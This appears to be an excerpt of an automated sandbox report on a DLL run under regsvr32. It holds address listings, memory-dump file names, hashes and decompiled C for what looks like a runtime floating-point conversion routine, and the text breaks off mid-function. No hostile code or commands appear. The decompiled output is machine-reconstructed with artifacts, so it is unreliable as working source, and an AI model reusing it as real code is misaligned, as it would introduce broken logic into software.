0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d61fbae69943fb4e7f9a0f659a39df1d4e9f8d1ee37015cb0cc05c3f6741627
Instruction ID: 3c27c68fc61bbc1c01e70bd35a93aeb83e3efa53bd5ba756fd76df6d0d06cb59
Opcode Fuzzy Hash: 1d61fbae69943fb4e7f9a0f659a39df1d4e9f8d1ee37015cb0cc05c3f6741627
Instruction Fuzzy Hash: 1161E477628BD5C6D760CF2AE04079AB7B1F391784FA04026EB89C3B59DB79D845CB08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B56D Relevance: .2, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B56D(void* __ebx, signed int __ebp, void* __rdx, void* __r8, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t139;
				signed int _t140;
				signed short _t150;
				signed short _t151;
				signed short _t155;
				signed short _t156;
				signed int _t157;
				signed int _t161;
				signed int _t163;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed char _t180;
				void* _t181;
				signed int _t182;
				signed int _t183;
				signed short _t184;
				signed short _t185;
				signed int _t187;
				signed int _t191;
				void* _t193;
				signed int _t194;
				signed short _t198;
				signed int _t199;
				signed int _t203;
				void* _t204;
				signed int _t205;
				signed int _t208;
				signed int _t209;
				void* _t218;
				signed long long _t225;
				void* _t226;
				void* _t228;
				long long _t230;
				signed int* _t231;
				long long _t233;
				intOrPtr* _t235;
				signed long long _t238;
				long long _t241;
				void* _t243;
				signed int* _t244;
				void* _t245;
				signed int _t246;
				void* _t247;
				char* _t248;
				signed short* _t249;
				long long* _t251;
				signed int* _t254;

				_t251 = __r13;
				_t247 = __r11;
				_t240 = __r8;
				_t228 = __rdx;
				_t209 = __ebp;
				_t181 = __ebx;
				if(__rdx - 0x31 > 8) {
					_t213 =  *((intOrPtr*)( *((intOrPtr*)( *_t235 + 0x128))));
					__eflags = _t193 -  *_t213;
					if(_t193 !=  *_t213) {
						__eflags = _t193 - 0x30;
						if(_t193 != 0x30) {
							_t241 = _t233;
							_t203 = 0;
							goto L10;
						}
						r9d = 1;
						goto L1;
					}
					r9d = 5;
				} else {
					r9d = 3;
					_t240 = __r8 - 1;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t203 = 0;
					__eflags = 0;
					L10:
					__eflags = _t209;
					 *_t251 = _t241;
					if(_t209 == 0) {
						r8d = _t203;
						_t194 = _t203;
						_t203 = 4;
						L104:
						_t183 = 0;
						_t139 = 0;
						__eflags = 0;
						L105:
						_t244 = _a72;
						_t140 = _t139 | _a52;
						__eflags = _t140;
						_t244[2] = _t140;
						 *_t244 = _t183;
						_t244[0] = _t194;
						_t244[1] = r8d;
						__eflags = _a160 ^ _t238;
						return E1002FF40(_t183, _a160 ^ _t238);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t203;
							_t194 = _t203;
							goto L104;
						}
						L17:
						_t248 = _t247 - 1;
						__eflags =  *_t248;
						if( *_t248 != 0) {
							L20:
							_t12 =  &_a96; // 0x61
							_t13 =  &_a128; // 0x81
							E1004EED0(r10d, _t218, _t13, _t228, _t233, _t235, _t12, _t243, _t245, _t248);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t181;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d + _a288;
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d - _a296;
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t194 = _t203;
								_t139 = 0x7fff;
								r8d = 0x80000000;
								_t203 = 2;
								_t183 = 0;
								goto L105;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t203;
									_t194 = _t203;
									_t203 = 1;
									goto L104;
								}
								_t230 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L99:
									_t183 = _a96 & 0x0000ffff;
									_t194 = _a98;
									r8d = _a102;
									_t139 = _a104 >> 0x10;
									goto L105;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t230 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags = _a56;
								_t146 =  ==  ? 0 : _a96 & 0x0000ffff;
								__eflags = r8d;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t203 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t230 = _t230 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										_a48 = r8d;
										_a64 = _t230;
										if((r8d & 0x00000007) == 0) {
											goto L96;
										}
										_t225 = _t213 + _t213 * 2;
										__eflags =  *((short*)(_t230 + _t225 * 4)) - 0x8000;
										_t254 = _t230 + _t225 * 4;
										if( *((short*)(_t230 + _t225 * 4)) >= 0x8000) {
											_t29 =  &_a112; // 0x71
											_t225 = _t29;
											 *_t225 =  *_t254;
											_t177 = _t254[2];
											_t31 =  &_a112; // 0x71
											_t254 = _t31;
											 *(_t225 + 8) = _t177;
											_t213 = _a112 >> 0x10;
											_t178 = _t177 - 1;
											__eflags = _t178;
											_a114 = _t178;
										}
										_t184 = _t254[2] & 0x0000ffff;
										_t150 = _a106 & 0x0000ffff;
										r15d = 0;
										_t185 = _t184 & 0x00007fff;
										_a80 = 0;
										_t151 = _t150 & 0x00007fff;
										_a84 = 0;
										_t198 = (_t184 & 0x0000ffff ^ _t150) & 0x00008000;
										__eflags = _t151 - 0x7fff;
										_a88 = 0;
										_a56 = _t198;
										_t204 = _t213 + _t225;
										if(_t151 >= 0x7fff) {
											L95:
											__eflags = _t198;
											_t230 = _a64;
											_t153 =  !=  ? r9d : 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t185 - 0x7fff;
											if(_t185 >= 0x7fff) {
												goto L95;
											}
											__eflags = _t204 - 0xbffd;
											if(_t204 > 0xbffd) {
												goto L95;
											}
											__eflags = _t204 - 0x3fbf;
											if(_t204 > 0x3fbf) {
												__eflags = _t151;
												if(_t151 != 0) {
													L47:
													__eflags = _t185;
													if(_t185 != 0) {
														L52:
														r13d = 0;
														_t231 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t182 = r12d;
															_t226 = _t251 + _t251;
															if(r12d <= 0) {
																goto L67;
															}
															_t59 =  &(_t254[2]); // 0x9
															_t246 = _t59;
															_t61 = _t226 + 0x60; // 0x65
															_t249 = _t238 + _t61;
															_t208 = r13d & 0x00000001;
															__eflags = _t208;
															do {
																_t187 = ( *_t249 & 0x0000ffff) * ( *_t246 & 0x0000ffff);
																__eflags = _t208;
																if(_t208 == 0) {
																	r8d = 0;
																	r9d = _t213 + _t226;
																	__eflags = r9d -  *(_t231 - 4);
																	if(r9d <  *(_t231 - 4)) {
																		L62:
																		r8d = 1;
																		L63:
																		 *(_t231 - 4) = r9d;
																		goto L64;
																	}
																	__eflags = r9d - _t187;
																	if(r9d >= _t187) {
																		goto L63;
																	}
																	goto L62;
																}
																r8d = 0;
																r9d = _t213 + _t226;
																__eflags = r9d -  *(_t231 - 4);
																if(r9d <  *(_t231 - 4)) {
																	L58:
																	r8d = 1;
																	L59:
																	 *(_t231 - 4) = r9d;
																	goto L64;
																}
																__eflags = r9d - _t187;
																if(r9d >= _t187) {
																	goto L59;
																}
																goto L58;
																L64:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t231 =  *_t231 + 1;
																	__eflags =  *_t231;
																}
																_t182 = _t182 - 1;
																_t249 =  &(_t249[1]);
																_t246 = _t246 - 2;
																__eflags = _t182;
															} while (_t182 > 0);
															L67:
															r12d = r12d - 1;
															_t231 =  &(_t231[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t205 = _t204 + 0xc002;
														__eflags = _t205;
														if(__eflags <= 0) {
															r8d = _a88;
															_t199 = _a84;
															r9d = _a80;
															L82:
															_t205 = _t205 + 0xffff;
															__eflags = _t205;
															if(_t205 >= 0) {
																L74:
																_t155 = _a80 & 0x0000ffff;
																L75:
																__eflags = _t155 - 0x8000;
																if(_t155 > 0x8000) {
																	L77:
																	_t156 = _a82;
																	__eflags = _t156 - 0xffffffff;
																	if(_t156 != 0xffffffff) {
																		_t157 = _t156 + 1;
																		__eflags = _t157;
																		_a82 = _t157;
																		_t199 = _a84;
																	} else {
																		_t161 = _a86;
																		_a82 = 0;
																		__eflags = _t161 - 0xffffffff;
																		if(_t161 != 0xffffffff) {
																			_a86 = _t161 + 1;
																			r8d = _a88;
																			_t199 = _a84;
																		} else {
																			_t163 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t163 - 0xffff;
																			if(_t163 != 0xffff) {
																				_t199 = _a84;
																				_a90 = _t163 + 1;
																				r8d = _a88;
																			} else {
																				_t199 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t205 = _t205 + 1;
																			}
																		}
																	}
																	L92:
																	__eflags = _t205 - 0x7fff;
																	if(_t205 < 0x7fff) {
																		_a98 = _t199;
																		_t230 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t205 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t230 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t160 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L96;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L92;
																}
																goto L77;
															}
															r10d =  ~(_t205 & 0x0000ffff) & 0x0000ffff;
															_t205 = _t205 + r10w;
															__eflags = _t205;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t199 << 0x0000001f;
																r8d = r8d >> 1;
																_t199 = _t199 >> 0x00000001 | r8d << 0x0000001f;
																_t246 = _t246 - 1;
																__eflags = _t246;
																_a80 = r9d;
															} while (_t246 != 0);
															__eflags = r15d;
															_a84 = _t199;
															_a88 = r8d;
															if(r15d == 0) {
																goto L74;
															}
															_t155 = r9w | 0x00000001;
															_a80 = _t155;
															r9d = _a80;
															goto L75;
														}
														r8d = _a88;
														_t199 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t191 = _t199 >> 0x1f;
															r9d = r9d + r9d;
															_t199 = _t199 + _t199 | r9d >> 0x0000001f;
															r8d = r8d | _t191;
															_t205 = _t205 + 0xffff;
															_a84 = _t199;
															_a88 = r8d;
															__eflags = _t205;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L82;
														}
														__eflags = _t205;
														if(_t205 <= 0) {
															goto L82;
														}
														goto L74;
													}
													_t204 = _t204 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t254[2];
													if(_t254[2] != 0) {
														goto L52;
													}
													__eflags = _t254[1];
													if(_t254[1] != 0) {
														goto L52;
													}
													__eflags =  *_t254;
													if( *_t254 != 0) {
														goto L52;
													}
													_t230 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L96;
												}
												_t204 = _t204 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L47;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L47;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L47;
												}
												_t230 = _a64;
												_a106 = 0;
												goto L96;
											}
											_t230 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L96:
										__eflags = r8d;
									} while (r8d != 0);
									_t203 = 0;
								}
								goto L99;
							}
						}
						do {
							_t248 = _t248 - 1;
							r10d = r10d + 0xffffffff;
							_t181 = _t181 + 1;
							__eflags =  *_t248;
						} while ( *_t248 == 0);
						goto L20;
					}
					_t179 = _a151 & 0x000000ff;
					__eflags = _t179 - 5;
					if(_t179 >= 5) {
						_t180 = _t179 + 1;
						__eflags = _t180;
						_a151 = _t180;
					}
					_t247 = _t247 - 1;
					r10d = 0x18;
					_t181 = _t181 + 1;
					goto L17;
				}
				L1:
				_t240 = _t240 + 1;
				if(r9d <= 0xb) {
					_t213 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b56d
0x1004b56d
0x1004b56d
0x1004b56d
0x1004b56d
0x1004b56d
0x1004b572
0x1004b594
0x1004b597
0x1004b599
0x1004b5ad
0x1004b5b0
0x1004b8bb
0x1004b8be
0x00000000
0x1004b8be
0x1004b5b6
0x00000000
0x1004b5bc
0x1004b59b
0x1004b574
0x1004b574
0x1004b57a
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a775668b086e67d721b7390f647def9d5319a7836c05495b8f013aacccc606c4
Instruction ID: ab14c228f621b208b88f2830ed8e0103e9f14f2651d7d4e24267ee5a4f489901
Opcode Fuzzy Hash: a775668b086e67d721b7390f647def9d5319a7836c05495b8f013aacccc606c4
Instruction Fuzzy Hash: E561D677628FD5C6D761CF2AE04079AB7B1F395780FA04026EB8983B58DB79D841CB04

Uniqueness

Uniqueness Score: -1.00%

Function 1004B79C Relevance: .2, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B79C(void* __ebx, intOrPtr __edx, signed int __ebp, intOrPtr* __r8, void* __r11, void* __r12, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t134;
				signed int _t135;
				signed short _t145;
				signed short _t146;
				signed short _t150;
				signed short _t151;
				signed int _t152;
				signed int _t156;
				signed int _t158;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				signed char _t175;
				void* _t176;
				signed int _t177;
				signed int _t178;
				signed short _t179;
				signed short _t180;
				signed int _t182;
				signed int _t186;
				intOrPtr _t188;
				signed int _t190;
				signed short _t194;
				signed int _t195;
				signed int _t199;
				void* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t205;
				void* _t215;
				signed long long _t221;
				void* _t222;
				void* _t224;
				long long _t226;
				signed int* _t227;
				void* _t229;
				void* _t231;
				signed long long _t234;
				intOrPtr* _t236;
				long long _t237;
				void* _t239;
				signed int* _t240;
				void* _t241;
				signed int _t242;
				void* _t243;
				char* _t244;
				signed short* _t245;
				void* _t246;
				long long* _t248;
				signed int* _t251;

				_t248 = __r13;
				_t246 = __r12;
				_t243 = __r11;
				_t236 = __r8;
				_t205 = __ebp;
				_t188 = __edx;
				_t176 = __ebx;
